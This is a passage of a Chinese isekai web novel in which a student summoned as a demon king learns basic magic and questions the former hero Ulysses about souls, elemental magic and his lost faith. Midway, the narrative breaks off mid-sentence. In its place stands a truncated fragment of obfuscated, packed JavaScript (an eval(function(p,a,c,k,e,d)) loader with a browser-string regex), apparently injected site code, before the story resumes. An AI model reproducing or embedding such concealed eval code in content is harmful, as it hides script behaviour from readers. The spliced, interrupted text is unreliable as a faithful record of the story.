他的说法很谦虚,但也足以令叶隐侧目了,他微微后仰,上下打量尤利西斯,惊奇道:“你会神术,会魔法,这一身腱子肉也是脚踏实地练出来的,也就是说,你还是个战士……还有什么是你不会的吗?” “我的才能并不出众,我只是幸运地得到了许多资源,并将它们转化为了自己的智慧和力量而已。” “……” 叶隐左听右听,只从话里行间听出了两个字:自律。 “好吧,你这样的人,做什么都会成功的。”他耸了耸肩,试探着结束这个话题:“所以……我们这算是初步达成合作了?你还有其他事要交代吗?” 尤利西斯站起身来,一边收拾碗碟一边道:“这间卧室附属的书房里存有许多书籍,在我安排好你的课程之前,你可以先挑些看得懂的自行阅读。” 他抱着碗碟向屋外走去,临出门前,回头叮嘱道:“床头柜上有一枚护身符,你最好将它随身携带,还有,没有我的随行或许可,绝对不要离开卧室。” 3. 学魔法 尤利西斯走后,叶隐长出一口气,有种劫后余生的庆幸。 他虽以宅男自居,但自认和原世界和其他人相比,还不算特别阴湿的类型,毕竟怎么着也是个双一流大学生,可在尤利西斯面前,他依然感觉自己就像一条下水道里的蛞蝓,对方身上随便撒点光线下来,就能把他照得化成一滩水! 他低头掀起衣服,捏了捏自己平坦的小腹,五官恼怒得拧在了一起。这每天跑几公里保持的身材,在对方那身运动员似的肌肉面前,就跟完全没费功夫似的……真是人比人得死,货比货得扔! 说起来,他裤兜里的钥匙串和手机都不见了,应该不至于是被尤利西斯拿走了吧?如果的确不是,那更不知道去哪儿了,真是雪上加霜! ……哎,也罢。既来之,则安之,总不能指望一觉醒来就能穿越回家吧? 叶隐迅速调整了番心态,起身检查起这间用来软禁他的卧室。 这房间说是卧室,其实有好几个房间连通在一起,有客厅、主卧、书房,还有一间似乎很“魔法”的厕所,既不是旱厕也没有抽水马桶,取而代之的是一个叶隐看不懂构造的壁挂装置,隐约能看到里面有蓝光在流动——也许是异世界的人们用魔法技术发明的抽水马桶代替品?好在使用起来很简单,甚至卫生程度有过之而无不及。 告别马桶之后,叶隐又盯着桌上的烛台研究了一番,发现烛身表面刻有古怪的花纹,灯芯也并非寻常材质,也许这就是它们可以长久燃烧的关键? 尤利西斯说,人类和魔物的魔法不同,叶隐也不确定这些魔法科技属于人类还是魔物。魔王城里出现属于人类的技术似乎有些古怪,不过考虑到这座城堡的装潢本就非常接近人类审美,尤利西斯也提到过现在的他比起魔物更像人类……也许,“魔王”和“人类”并非没有共通之处,且魔物和人类的魔法壁垒也不是绝对的,至少清洁、照明这样的技术,双方应该都有需求,没道理不用现成的。 胡思乱想着,叶隐来到主卧,拉开厚实的双层窗帘,透过落地窗可以看见被城堡拱卫着的花园的一角。花园有被精心修剪和保养着,只是植物们的品种看上去不太常见——有带嘴的、长牙的,有走路的、抽搐的,有怪叫的,有流泪的……而且它们大多通体呈紫色乃至红色,只能说非常符合对传统魔王住地的刻板印象。 “这都是啥呀!”叶隐一阵恶寒,赶紧拉上窗帘,有些生无可恋,感觉与这些东西只有一窗之隔的自己,晚上多半要做噩梦了。 叶隐拍拍脑袋,随后来到书房,打算用知识将刚才那一幕从脑子里熏陶出去。 书房不大,放置的书目也比地下那个房间中的要少一些,好在终于不是他看不懂的文字了。 ——虽然一度疑惑于两个世界语言和文字的共通,但叶隐没想太多,两个世界都有人类,这就足以说明两界的物理法则和常数基本一致,否则但凡偏差一点,尤利西斯都不见得是两只眼睛两条腿儿的,语言文字相通这种事就一定需要理由吗? 至于魔法、神术这些“不科学”的存在,的确是一个足以证明两界基础法则不同的变量,考虑到这一点,两界两种人类的相似度可以说惊人的高了。 不过,与其一个人无凭无据地胡思乱想,不如先从书里读读本世界人的看法再说,叶隐自己现在还是个一问三不知的史盲呢,思考这种究极问题属于吃饱了撑的,就算他随便下个“我们是同一种人类”的定论,也只是给自己心理安慰罢了,实际上没有一点儿道理。 怀着对未知事物的强烈好奇,叶隐兴致勃勃地来到书架前,目光从一排排书脊上扫过,嘴角的弧度僵住了。 《元素排序与分类》《四元素论与炼金术》《妖精语历史第一册》《以太编码与架构基础》…… 似曾相识,又有哪里不一样,总之他看到书名就联想起了某些…不,应该说很多给他留下深刻阴影的教材。 不管在哪个世界,学习从来都不是件简单的事啊…… 叶隐头疼地揉了揉太阳穴,忽然瞥见有一本色彩鲜艳的书放在书桌正上方。 他好奇地拿起来一看,封面是一个穿开裆裤的小孩儿在搓火球,旁边几个手写体大字:宝宝也能理解的基础魔法理论,下面还有两行小字:适合3-6岁儿童早教/请在家长监管下进行实践。 ……是尤利西斯放在这里的吗?真是谢谢你啊! 叶隐有点想发作,最后还是按捺住了情绪,他在书桌前坐下,耐心翻看起这本幼儿教材,很快就读了进去,越发沉浸其中。 “……魔力与灵魂相关联,但人类的灵魂并不先天具备孕育魔力的能力……原来如此,所以实践的第一步不是感知自己的、而是感知大自然中的魔力!” 叶隐眼前一亮,继续往下读:“……魔力是元素的生命之源,唯有借助与元素的沟通,人类才有运用魔力的可能,而魔法师的修行,就是一个用自己的身体和灵魂逐渐包容外来的元素、为它们提供保护,与它们共生,从而得到魔力作为反哺的过程……” 这本书虽然有高估3-6岁儿童智商的嫌疑,但讲得还算通俗易懂。如果书中所言都是真的,那么这个世界的魔法体系可谓相当稳固,人类的法师们不仅在千年间建立起了扎实的理论基础,而且将魔法的应用拓展到了生活的方方面面,比如这本教材本身,其纸张的制作和颜色的印刷就用到了特定的魔法,而书中还有不少诸如此类的例子,当然也包括魔法马桶和魔法蜡烛。 书中对魔法体系的概括并未超出叶隐一开始的想象,这座由这个世界的人们从零建起的魔法大厦,从结果而言和他在原本世界读到的奇幻作品差距不大,这让他修行魔法的信心愈发强大。 只花了一个小时,叶隐就读完了这本一指厚的幼儿教材,他又细读了几遍确保记牢,随后在客厅腾出一小片空地,试着按书中的指导进行一次冥想。 “身体坐正,保持脊椎垂直于地面,四肢放松,不要做多余的思考……” 他盘腿坐在地上,念叨着调整坐姿,闭上双眼,意识渐渐下沉。 这个世界的“元素”,其分类似乎与元素周期表的元素有共同之处,最大的不同在于这个世界的元素拥有“灵魂”,本质上被归类于生物。在魔法体系中,人类也有灵魂,但人类同时受到□□的影响,甚至□□比灵魂更加重要,而元素则通常不具备□□,它们的灵魂可以在一类特定的物质间转移,所谓魔力,就是元素们从自己的灵魂中提取的、能够驱动这些物质移动或反应的能量。 新手练习感应魔力时,通常会以水元素为第一种对象。越是运动的、密集的元素,其魔力越旺盛,也就越容易被感知。水元素虽然在流动性上差风元素一筹,但在水分子聚集的地方可谓无孔不入,而要创造这个条件,只需在面前摆一杯水即可。 ——话是这么说,但这屋里其实没水,自来水和饮用水都没有,至于厕所那魔法装置里的水,也没法抽出来用,叶隐只能退而求其次,先感知一下风元素试试,不行再到厕所去冥想。 叶隐渐渐沉下心去,想象着自己具现化出一只触手伸出体外,像章鱼一样将意识延伸到触手的末端,以此去接触空气中的元素。 平常状态下,意识的“位置”仅仅取决于人自身的想象力,但多了将意识具象化这一步骤后,意识的移动就如同真实的行走一般,需要推开“面前”不可视的障碍才能前进。 叶隐就这么在无边的黑暗中向前走着,不知时间流逝。渐渐地,他感到身旁的空气愈发凝滞,前进也愈发困难,仿佛在沼泽中跋涉,不知不觉竟是大汗淋漓,只是意识几乎脱离□□的他对肉身的状况一无所知,哪怕现在闯进来个人攮他一刀,他也得在脱离冥想状态后才能感觉到痛。 感觉情况不太对劲,叶隐暂时停下脚步,有些茫然地立在虚空中,眼下的状况似乎与书中所写的不同? 按理来说,意识具象化后的确会遇到一些阻碍,但不至于像现在这样,连在空气中行动都困难重重,而且,他的冥想应当是成功了,他却完全没有在空气中感受到魔力。 作为一门复杂的科学技术,魔法自然是有天赋一说的,但在感知魔力这个起点上,困难应当仅存在于“进入冥想状态”这一步骤,而不在于之后的感知。他都轻松进入冥想了,却感知不到魔力,这算哪门子事儿? 叶隐不信邪,他匆匆收回意念,搬了个凳子在厕所坐下,瞪着墙壁上的魔法水箱猛瞧,这回他终于有了些收获,他明明白白地感知到了水元素,甚至直接观测到了装置内部的魔法回路,像透视一样神奇,这些魔力在漆黑的意念世界中发着各色的光,让他满心欢喜。 趁热打铁,叶隐又对着点燃的蜡烛进行了一次冥想,烛火体积虽小,蜡烛中却也蕴藏有魔力,而且蜡烛中的元素比之上方跳动的火元素要丰富得多,烛身表面的刻痕也不出意料的流动着魔力,像一个微缩版的法阵,有种工业与魔法结合的奇妙美感。 终于结束了冥想,叶隐再一次发出感慨,惊叹于小小水箱和蜡烛的科技…不,魔法含量。 把魔法归类于科学似乎有些矛盾,但既然魔法是真实存在、依照客观规律运行的,且人类通过学习和利用这种规律所制作出来的设备就摆在眼前,叶隐也只能承认,这个世界的魔法的确是科学的——由此可以得出,这个世界本身,也的确是独立于原本世界的、另一个不同的世界,而非同一个宇宙中的两颗行星。 ……他真的来到了异世界。 终于验证了这个其实早就意识到的事实,叶隐心情复杂。 他在书桌前呆坐了会儿,好像想了很多,又好像什么都没想,最后,他得出一个暂时的结论:自己不该沉湎于穿越的懊悔中。 然而,于情于理,他都说服不了自己轻易放下,于是他打算给自己找点别的事做,转移一下注意力。 “喂,系统。”他像冥想时那样,用具象化的意识触手戳了戳自己脑海中的系统,“我有没有属性面板什么的?给我看看。” 学习对大多数人来说都是苦差事,原因不仅在于其悖逆天性,更在于成效难以具体呈现。如果系统能把他的学习进度,乃至体质之类的身体属性都量化,他会更有动力学习和锻炼,如果不能…嗯……那就不能吧。 系统还真的在叶隐脑海中展示出一块面板来,但上面并没有他想象中那些有用的数据,只有几行字: 【觉醒度:0/100】 【时髦值:2/100】 【当前任务要求:了解自己被召唤来此界的前因后果。成功奖励:觉醒度+5,失败惩罚:觉醒度+1。】 【待探索地点:魔王城,地图探索度:5%。】 “……”叶隐面无表情,“你不肯告诉我时髦值有什么用,又不肯给我展示点有用的东西,你这样让我很难办啊。” 面板静静躺在叶隐脑海中,任他怎么吐槽都巍然不动,只有一个提示音幽幽响起:【随着您灵魂力量的提升,系统将解锁更多功能。】 “灵魂力量……?”叶隐摸了摸下巴,这倒是个难得的有效信息,“那我该怎么增强它呢?有没有功法秘籍什么的?” 系统只说了一个字:【吃。】 ……吃? 应该不是吃什么东西都可以吧,不然也不需要特意提这么一嘴了,叶隐思考着。 吃了就能提升灵魂力量的东西……对了,说到灵魂,那本幼教书里提到过,除了人类,还有一类生物拥有灵魂——那就是元素! 但是,吃元素……? 叶隐又惊又疑,按他的理解,人类魔法师的修行过程是需要将外界元素吸入体内的,但那绝对算不上“吃”,因为那些元素的灵魂依然独立,法师们依然需要与之沟通才能够汲取魔力,他们会以契约之类的关系为始,逐渐过渡到形似共生的关系——而系统想表达的绝对不是那个意思。 不,等等!书上记载的只是人类修行魔法的方式而已,而魔物的魔法,据尤利西斯所说,完全是另一种东西,这二者间的差别,难道就在于利用元素的灵魂的方式上? 叶隐忽地打了个寒战,面色阴晴不定。 …… 尤利西斯端着晚饭推门进屋时,一眼没看到屋里有人,虽然知道对方应该不至于第一天就违反戒律,心里还是不禁咯噔了一下。 他走了进来,看到厕所门正开着,歪头看去,见里头蜡烛亮着,而某魔王正拿了个板凳坐在里头,背对着外面,似乎在凝视着……墙上的水箱? 尤利西斯心里缓缓打出一个问号,有那么一秒钟,他怀疑新的魔王可能在穿越过程中弄坏了脑子。 见叶隐似乎没察觉到他进来,仍呆呆坐在厕所里,他只好轻咳一声,出声提醒:“魔王,晚饭时间到了。” 叶隐扭头看了他一眼,“哦”了一声,一手板凳一手烛台地走出卫生间,放下东西后没忘记回去洗个手,顺便关上门。 中午那顿饭,叶隐都没来得及仔细看餐桌上都有什么,就全部囫囵进了肚子,现在才终于有机会欣赏尤利西斯的手艺。开胃管饱的酸甜口烩饭,简单又不失风味的香煎三文鱼,甚至还有一壶茶,一块苹果派……看得他口水直流。 尤其是那道酥皮奶油蘑菇汤——用勺子敲碎上面覆盖的酥皮,底下顷刻间冒出热气,胡椒与迷迭香洒在浓稠的奶白色汤汁中,和切片的蘑菇一同随着勺子搅动起伏,光是看着、闻着,就能感觉到强烈的满足。 叶隐偷偷看了尤利西斯一眼,见对方也不讲什么贵族礼仪,直接拿起叉勺,便有样学样干起饭来。 系统的惩罚早就结束了,但那不影响叶隐吃得风卷残云,倒不如说,没了惩罚的干预,叶隐 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他有预感,自己出门绝对会看见一些掉san的东西,但既然那种玩意到处都是,他也只有努力适应才行,堂堂魔王被自家花园吓到算怎么回事?说出去让人笑掉大牙! 若放在原本的世界,每天跑几公里消耗热量已经是他自律锻炼的极限了,他从来没想真的花多少时间精力在健身上,因为没那个需求,可如今穿越这种事都发生了,他断然不能再像之前那样犯懒了,哪怕之后不走体修的路子,体能这块也绝不能拖后腿。 ——如若不然,以现在这内忧(魔物造反)外患(人类敌对)的状况,他的魔王身份一旦公开,就是举世皆敌,强如尤利西斯也不见得能护住他,要是他自己一点儿本事没有,还是趁早自裁来得痛快,以免落到某些对魔王恨之入骨的人手里,求生不得、求死不能。 就在叶隐为自己的想象头皮发麻时,尤利西斯略一犹豫,问道:“刚才你坐在厕所里,是在做什么?” “啊?”叶隐愣了一下,回过神来,“哦……我在……思考一个问题。” “问题?” “你养过动物吗?” “宠物的话,帝都流行猫狗,但我并未养过。”尤利西斯回道,“我幼时在邻居的猪场当过帮工,算么?” “猪场?!”叶隐吃惊地瞪大眼睛,有些难以想象尤利西斯去养猪的模样,“我、我以为你打小就是贵族……原来不是?” 尤利西斯摇头,“我的骑士爵位并非世袭而来,实际上我在农村长大。” “这样啊……” 叶隐又刷新了对这个男人的认知,他似乎明白对方所制菜肴中的乡土气息是从何而来了。 尽管他还有些问题没想通,比如银发金瞳是不是这个世界人类的普遍特征,不然为什么长相如此出众的尤利西斯会是农村出身……但尤利西斯在他心中的形象的确在一点点变得圆润,比最初那副完美又冷淡的模样更加讨喜。 “也算吧,养猪。”叶隐不再纠结,继续道:“我看到你拿出来的那本书上说,元素也算是一种生物,那你觉得,元素的生命与猪的生命,对人类来说是类似的吗?” “我拿出来的书?” “……书桌上那本教宝宝学魔法的书,不是你拿出来的吗?” 尤利西斯暂时不去回答这个问题,转而回答道:“我觉得元素与一般的生物不能相提并论。” “为什么?” 尤利西斯解释道:“元素的生命是永恒的,而且它们也是人类以外唯一拥有灵魂的存在,某种意义上来说,它们甚至比拥有智慧的人类更加超然,尤其对于那些在魔法研究上倾尽所有的法师而言,元素在他们心中的地位完全可以比肩神明,是终其一生求而不得的对象。” “元素的生命是永恒的……吗?”叶隐迟疑道,“人类也有灵魂,但人类会死,为什么元素就没有死亡的概念呢?” 尤利西斯回答得很快,好似这些知识对他只是常识的等级:“因为人类的存在本质在于□□,□□的构造非常复杂、各有不同,会损坏,更会衰老,没有替代品,□□的遗传因子更是决定一个人意识的关键,它们来自父母,后天不可变更。□□的变化就意味着人的变化,□□的死亡,也就意味着人的死亡。 “相反的,元素的本质在于灵魂。它们的‘□□’、或者说寄存灵魂的构造,本身极其微小且单纯,只要是性质类似的物体,都可以成为它们新的容器。所以我们评价元素‘永生’,关键在于它们的灵魂不灭,而不在于□□的变换。” 叶隐意外从这段话中听到了许多在这个世界应当称得上先进的观点,比如“来自父母的遗传因子”,“微小且单纯的构造”,前者无疑是基因,后者多半是指分、原子乃至更小级别的微观物质。看来,即使有魔法的存在,这个世界的人类对物质世界的研究也没有落下太多,或许魔法的发达反过来帮助他们推进了基础的研究?总之并不是件坏事。 “为什么说元素的灵魂是不灭的呢?”叶隐追问道,“或者,换个问法,不灭的究竟是‘所有灵魂’,还是仅仅是‘元素的灵魂’?” 尤利西斯回道:“所有灵魂都是不灭的。至少现阶段,人类并没有直接影响灵魂的手段,无论是人类的还是元素的灵魂,都不行。” “……” 有了刚才的两个例子,叶隐不会怀疑尤利西斯的认知并非人类最前沿的认知,也就是说,在人类看来,“灵魂不灭”就是事实。 ——但系统的一个“吃”字,让这个无从辩驳的真理上出现了裂痕。 被吃掉的灵魂,被“消化”掉以壮大其他灵魂的灵魂,还是不灭的吗? “好吧……我再问一个问题。”叶隐做着最后的确认,“你之前说过,魔物的魔法与人类的魔法不同,那究竟是不同在何处?” “鉴于有沟通能力和意愿的魔物少之又少,到目前为止,人类对魔物魔法的研究都只是浅尝辄止。”尤利西斯说道,“唯一可以确定的是,魔物能够学会人类创造的魔法,人类却无法学会魔物创造的魔法,或者说,即使学会了,往往也无法顺利施展,甚至可能引发元素暴动,从而导致施展魔物魔法的法师伤残。 “——‘魔物的魔法,与人类的魔法在不同的领域’,这是一位德高望重的法师做出的论断,自那之后,就很少再有人研究魔物魔法了。” 听完这番话,叶隐心中已有答案。他轻轻吐出一口浊气,真诚道:“我知道了,谢谢你的解答。” 尤利西斯凝视着一脸平静的叶隐,有些想知道对方为何要问这些问题——但对方的神情明摆着告诉他,他是不会说实话的。 最后,他还是什么都没问,“这壶茶就留在这里,我定时过来添水。明天早上,我会来叫你起床,早点休息。” 4. 不装了 叶隐平静地度过了来到异世界后的第一个夜晚,没有噩梦,没有饥寒,床铺柔软且温暖,只有头顶那极高的天花板怎么也适应不了,唯有闭上眼睛无视。纵使前途未卜,眼下的日子却意外有几分安宁。 穿越才大半天,不知道自己夜不归宿会不会被舍友上报给辅导员?他们迟早会发现自己失踪的……叶隐在半睡半醒中迷迷糊糊地叹气。 他自己是随遇而安的个性,只要尤利西斯摆正态度,他甚至可以不计较被强制穿越的事,但他不能无视重要的家人的心情。 叶隐知道自己是穿越了,但在原本的世界,他就只是忽然从世界上消失了而已,不仅如此,一时半会儿还回不去,不难想象这事在其他人看来是个什么样的性质,被他的失踪连累的人搞不好得有两位数。 也不知道老爸和阿澜知道这个消息,会有多伤心……叶隐脑海中浮现出家人悲伤的模样,叹着气睡着了。 天刚蒙蒙亮,尤利西斯便带着早餐来敲门,没有手机玩的叶隐昨晚胡思乱想了很久,但总的而言睡得还算早,不至于第一天就赖床。 “吃完早餐换身便利的衣服,衣柜里应该有。”尤利西斯锐评道,“异世界的衣服不适合活动,外衣连帽的部分相当累赘,裤子的布料弹性也很差,只有衬衣尚可。” “那叫T恤……说到这个,在我之前,住在这间屋里的人是谁啊?”叶隐边吃早餐边问,“我比了下衣柜里的衣服,他好像和我身材差不多,意思是我可以直接拿来穿吗?” 尤利西斯微微一顿,道:“不用担心,你可以随便穿。” 又在避重就轻……叶隐暗地里撇了撇嘴,故意问道:“所以,确实有那么个人?桌上那本书也是他特地拿出来的,对吧?他知道我会来,还知道我需要那本书——他才是那个召唤我的人,对不对?” 见尤利西斯始终不语,他只好暂时放下,道:“行吧,看来你还没有做好告诉我的准备,那我就再等上一等……但别让我等太久。” 尤利西斯点点头,似乎松了口气。 吃完早饭,叶隐重新检查了遍衣柜,他昨晚找睡衣的时候就翻过一遍了,只是当时黑灯瞎火的看不太清。 柜子里衣服不多,款式极为平常,不少件都有着补丁,洗得很干净,看得出主人的拮据。值得注意的是,柜子里还挂着几件足以遮住全身的黑色斗篷,不像常人会常备的衣物。而注意到这一点后,再来看其他衣服,会发现它们大都是深色的长袖长裤,甚至长靴,皮肤覆盖率异常之高,显然是存了遮掩身份的目的。 住在魔王城里这种地方,却需要遮掩身份?……到底会是什么人呢? 叶隐暂时压下好奇心,找了身便于锻炼的衣服换上,将那身从原世界穿来的卫衣牛仔裤折好,珍重地放在角落。 他换着衣服的时候,尤利西斯的身影忽然出现在卧室门口,将阖着的门推开一半,道:“别忘记带上护身……” 叶隐穿衣的动作一顿,赶忙拉开衣柜门往里藏,恼怒地打断道:“进来前先敲门啊!” “……?” 尤利西斯不理解叶隐的反应为何这么大,但他选择尊重。 看到尤利西斯沉默着退了出去,叶隐赶紧穿好衣服,拿起床头柜上的“护身符”仔细打量。 外表来看,这就是一条黑色的棉质颈环,正前方吊着个镂空的水滴形金属坠饰,材质不明,拎着微沉。在有过多次成功冥想经历的现在,叶隐不进入冥想状态也能感知到上面存在魔力,只是不清楚具体种类和运作方式。 这护身符十有八九有追踪定位的功能,不过现在不是在乎这些的时候,相比之下,还是它本身的款式更容易令叶隐胡思乱想,但考虑到尤利西斯那人绝对没有那种意思,他也不好做出什么反应,不然显得他自己多心虚似的。 “我搞定了!” 叶隐跟着尤利西斯离开卧室,走廊里的新鲜空气让他精神一振。 忽然,他听到后方传来窸窸窣窣的声音,疑惑地转过头去,仿佛看见一个身影在拐角一闪而过。 尤利西斯转过身来,“怎么了?” “我好像看见了其他人……呼啊。”叶隐打了个哈欠,揉揉眼睛,“你确定不会有敌人偷偷摸摸溜进来吧?” “不排除那种可能。”尤利西斯淡定自若,看来甭管叶隐怕不怕,反正他自己是不怕,“所以,早日修复结界,也是为你自己好。” “呵呵。”叶隐皮笑肉不笑,心道这件事可比你想的还要复杂。 叶隐还以为要去户外运动,结果两人在尤利西斯的带领下来到一座与城堡主楼相连的塔中。塔内异常空旷,砖石的缝隙间流动着微弱的魔力。 “这里是法师塔?”叶隐胡乱猜测着。 尤利西斯意外地看了他一眼,“你已经能感知到魔力了吗?” 叶隐谦虚道:“一点点吧。” “传统的法师塔,往往带有塔主本人在其特长领域的强烈色彩,而这座法师塔——它的主人是历代魔王。”尤利西斯说道,“结界的核心就在这座塔的塔顶,不过我们今天只是为了锻炼而来。” “我还以为要去户外呢,待在室内是为了隐人耳目么?” 尤利西斯警告道:“不要掉以轻心!注意着魔王城的不仅只有在城外游荡的弱小魔物,还有一些真正强大的大魔,它们才是最有可能发现城内异状的。任何醒目的状况都可能导致它们决心突入魔王城,所以户外活动能避则避。” “那城堡内的花园,是谁在修剪呢?”叶隐看似漫不经心道。 他就不信了,对尤利西斯这个谎也撒不来、秘密也守不住的家伙,他今天还真能一点情报都掏不出来? “那是……”尤利西斯一副不太情愿的神情,但最后还是开口解释道:“……花园、走廊,还有地上建筑的大部分房间,都是由一只魔物在收拾的。它待在魔王城已经很久了,比我还要久得多。” 这个回答在叶隐的意料之中,想来以尤利西斯厌恶魔物的程度,也不可能费劲维护整座魔王城,如果是魔物在做这种事,就说得通了。 “我刚才在拐角瞥见的,就是那个魔物咯?” 一聊到魔物,尤利西斯的语气就变得冷淡了许多,“谁知道呢。” 然而叶隐一眼看破了尤利西斯的别扭,毕竟他要是真的没有一点儿和魔物共处的打算,完全可以将那只魔物秘密斩杀,但他还是冒着对方向同类通风报信的风险,允许对方继续打理魔王城。这其中隐含的包容,已经与他所展现出来的厌恶相去甚远了。 “找个时间让我跟它见一面吧。”叶隐说道,“既然知道了它的存在,我就不能再当做不知道了,再怎么说我也是魔王,不能对手下不闻不问。而且,虽然不知道你和它达成了什么协议,但事关重大,我必须确保它不会泄露秘密。你要是不放心,可以和我一起。” 系统难得与他意见统一,几乎同时发出提示音: 【叮~新任务发布:合格的魔王理应给予忠诚者应有的力量和地位,何况您还是个光杆司令,现在不拉拢人心,更待何时?】 【任务要求:让魔物卡拉瓦多斯承认您为新的魔王。成功奖励:时髦值+3、觉醒度+1,失败惩罚:无。】 虽然是个失败了也没有惩罚的任务,但仔细想想,还是完成任务的性价比更高。能收到一个衷心的手下,断绝秘密泄露的风险,还有三点不知道有什么用的时髦值……反之,若任务失败了,为了不走漏风声,就只能让尤利西斯斩草除根了,这样一来,就算没有系统方面的惩罚,他也会失去一个管家级别的下属,得不偿失。 尤利西斯盯着叶隐,“……我会考虑。” 说完,他毫无缓冲地话锋一转,回到了最初的话题:“先热身,然后测试你的身体素质,没问题吧?” 叶隐活动了番关节,原地蹦跶了两下,觉得自己今天状态相当好,信心满满地应道:“没问题!” ——半小时后,叶隐的体测成绩出炉了。 这里没有表,记录不了精确数据,但叶隐记得自己上一次在大学的体测结果,相比之下,这一次绝对要好上很多,已经不是超常发挥能形容的了,尤其是他原本的弱项握力,肉眼可见地增加了至少三分之一。 难道是魔王之血潜移默化地改造了他的身体?感觉有点微妙…… 无论如何,叶隐对这个结果还算满意,以他现在的身体素质,放在原本的世界,少说有个省级运动员水平,这已经是过去的他想都不敢想的了,至于魔王之血的副作用,反正他现在也没有挑三拣四的资格。 “怎么样,尤利西斯?”休息够了的叶隐屁颠屁颠地凑过去,想听听对方对自己的评价。 尤利西斯正在一个小本子上记录着什么,闻言抬头看向叶隐,面上没有丝毫波澜,当然,也没有叶隐想要看到的欣赏。 “和七岁时的我差不多吧。”尤利西斯平静道,“在常人中算得上出类拔萃,但远未达到常人的极限,别提更高的境界了。” 叶隐听得一呆,“你七岁就有这个水平?你吃什么长大的?” 尤利西斯不理会他,继续边写边道:“魔王之血会强化你的身体,如果你完全觉醒,世间便再没有武器能伤到你,但是,现在的你还没有能力控制它,在这般有意识的压制下,魔王之血的强化作用会非常有限,所以——锻炼还是必要的。” “不用你说我也知道。”叶隐兴致缺缺,此时他最大的兴趣已经不在自己身上了,“比起那些,我更好奇你说的‘更高的境界’……这个世界的人类,到底能把自己的□□锻炼到什么地步?” 尤利西斯终于收起纸笔,道:“战士,魔法师,神官,所有冒险者都可被归入这三大类职业。” 叶隐听懂了他的潜台词,“也就是说,单纯的□□力量,是可以与魔法和神术并驾齐驱的?” 尤利西斯点了点头,接着道:“同时,战士也是人数最多的一个大类,因为锻炼□□不像魔法或神术那样,需要聪明才智,或是被神选中,即使同样有天赋之分,也不代表没有□□天赋的人就不能从锻炼中获得好处。” “唔,你一定属于很有这方面天赋的那种人。” “算是吧,不然我终其一生大概都只会是个农民。”尤利西斯并不否认,但也没有夸大这一点。 “可你还会神术,这在农民中绝对不常见吧?” “我并不是一开始就会的,那是在我被勇者之剑承认、获封为勇者之后的事了。” 尤利西斯的眼眸中闪过一丝怀念,他用难得柔和的语气讲述道:“‘勇者’并不只是一个头衔而已,一个人在成为勇者的同时,也会天然成为‘被选中者’,拥有施展许多种类神术的资格,哪怕他之前完全没有接触过神术,也能在几秒之内将新的能力融入到本能之中。所以,‘勇者’有时也会被虔诚的人民尊称为‘神之子’。” “神之子……”叶隐哑然,忽然想通了什么,惊道:“你的发色和瞳色,难道也是在那个时候……?” 尤利西斯将脑后那根长长的银色马尾搂到身前,轻抚着它,“是的,历代勇者都是银发金瞳,这并不是天生的,只是某种…证明。” 原来如此…… 叶隐脑中关于尤利西斯出身的疑惑终于得到了解答。 农村出身,因才能被选中成为勇者,不仅一跃成为了稀有的神术使用者,甚至直接从生理层面摆脱了无数人恨之入骨的“贫民”烙印,得到了银发金瞳这样贵气十足的性状,相当于拥有了上层贵族圈子的入场券,可以说是一步登天了。 不过以眼下的情况来看,显然尤利西斯本人对此并不珍惜。 尽管他话里行间都以勇者的身份为豪,但在他自己的含糊说辞,以及系统的认定中,他都已经是“前勇者”了,而且,他实际上做的事——孤身一人深入魔物界、来到魔王城;协助他人从异世界召唤新的魔王;认为帮助新任魔王成长才是解决魔物之患的根本方法,为此不惜以保护魔王为己任——都全然与勇者的义务背道而驰。 叶隐正好奇着,忽然想起了什么,思绪被拉回到现实,“……等等,之前我还以为‘被选中者’什么的只是一种说辞……结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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难得有嘲讽尤利西斯的机会,叶隐抓住时机继续输出:“你信仰那位神吗?你觉得祂会认同你现在的所作所为是为了人类好吗?” “……我曾经信仰祂,在我宣誓将为了全人类的和平与幸福奋斗终生的时候。”尤利西斯的语气有些许落寞,“现在,我已不认为自己是祂的信徒了,但我仍能使用神术,所以并不是祂抛弃了我,只是我不再追随祂了,仅此而已。” 他闭了闭眼,声音更加低沉:“我早已下定决心,即使违背祂的教诲,也非得找到一条真正的出路不可。而即使对我这样的叛徒,祂也并未收回赐予我的力量,这已经是对我最大程度的认可,我不能再奢求更多。” 空气诡异地安静了一会儿,因为两个人都在思考。 叶隐在想,究竟是发生了什么事,才会让尤利西斯这样强大而坚定的人,在身份、信仰、生活等各种层面上,都以如此决绝的方式告别过去? “嗯——”他深深叹了口气,耸了耸肩,故作轻松道:“想要从你身上找到一个破绽可真难。” 而尤利西斯……他凝视着叶隐,仿佛在透过他看另一个人,不解道:“我是你的盟友,你为何想要找到我的破绽?” “因为我不信任你,尤利西斯。” 有一瞬间,叶隐的语气非常冰冷,但转瞬即逝。 他紧盯着这个他完全看不透的银发男人,慢慢踱步,不紧不慢道:“其实我算是个随遇而安的人,不过嘛,被陌生人召唤到异世界什么的,还是有些超出我的接受范围了。” 他停下脚步,仰头望着那螺旋向上数十米的塔顶,目光仿佛透过它看向更遥远的天空,“我来自一颗有八十亿人类的行星,其上一个钢铁年产量十亿吨的国家。我住的那栋楼有这座塔的两倍高,而那栋楼里的上万名住户,几乎家家有车,这‘车’能拉着千斤为计的重物跑出百公里每小时的速度,持续一天一夜不成问题。我们的武器,可以精确打击到上千公里外的任意一点,将方圆十里的一切都化为灰烬……” 叶隐主动中断了回忆,低头看向怔然愣神的尤利西斯,接着方才那句话道:“然后,因为你们的缘故,我来到了这里。”他面露冷笑,“一觉醒来,就有人告诉我,我已经不是人类,而是魔王了,是人类的死敌的头目,与人类有十世血仇的后继者,而且没有任何自保之力,没有任何势力愿意接纳我,甚至不能让任何人发现我的存在…… “……而我唯一靠得上的同伴,是个曾经以斩杀魔王为义务,无论从何种角度都不可能与我同流合污的圣人。”他说道,“他本该一剑杀了我,却因为某种我暂且还不知道的原因,决定采取曲线救国的方式来‘教育’我,为此甘冒被视为人奸的巨大牺牲,乃至在异国他乡死去的风险……哇哦,世上竟真有这般好的人?” 叶隐故作浮夸的反讽令银发男人神情凝滞,而前者始终仔细观察着后者的神情变化,随后似笑非笑地道:“尤利西斯,你可能以为你已经做好了面对一切情况的准备,但我得告诉你,你没有。” 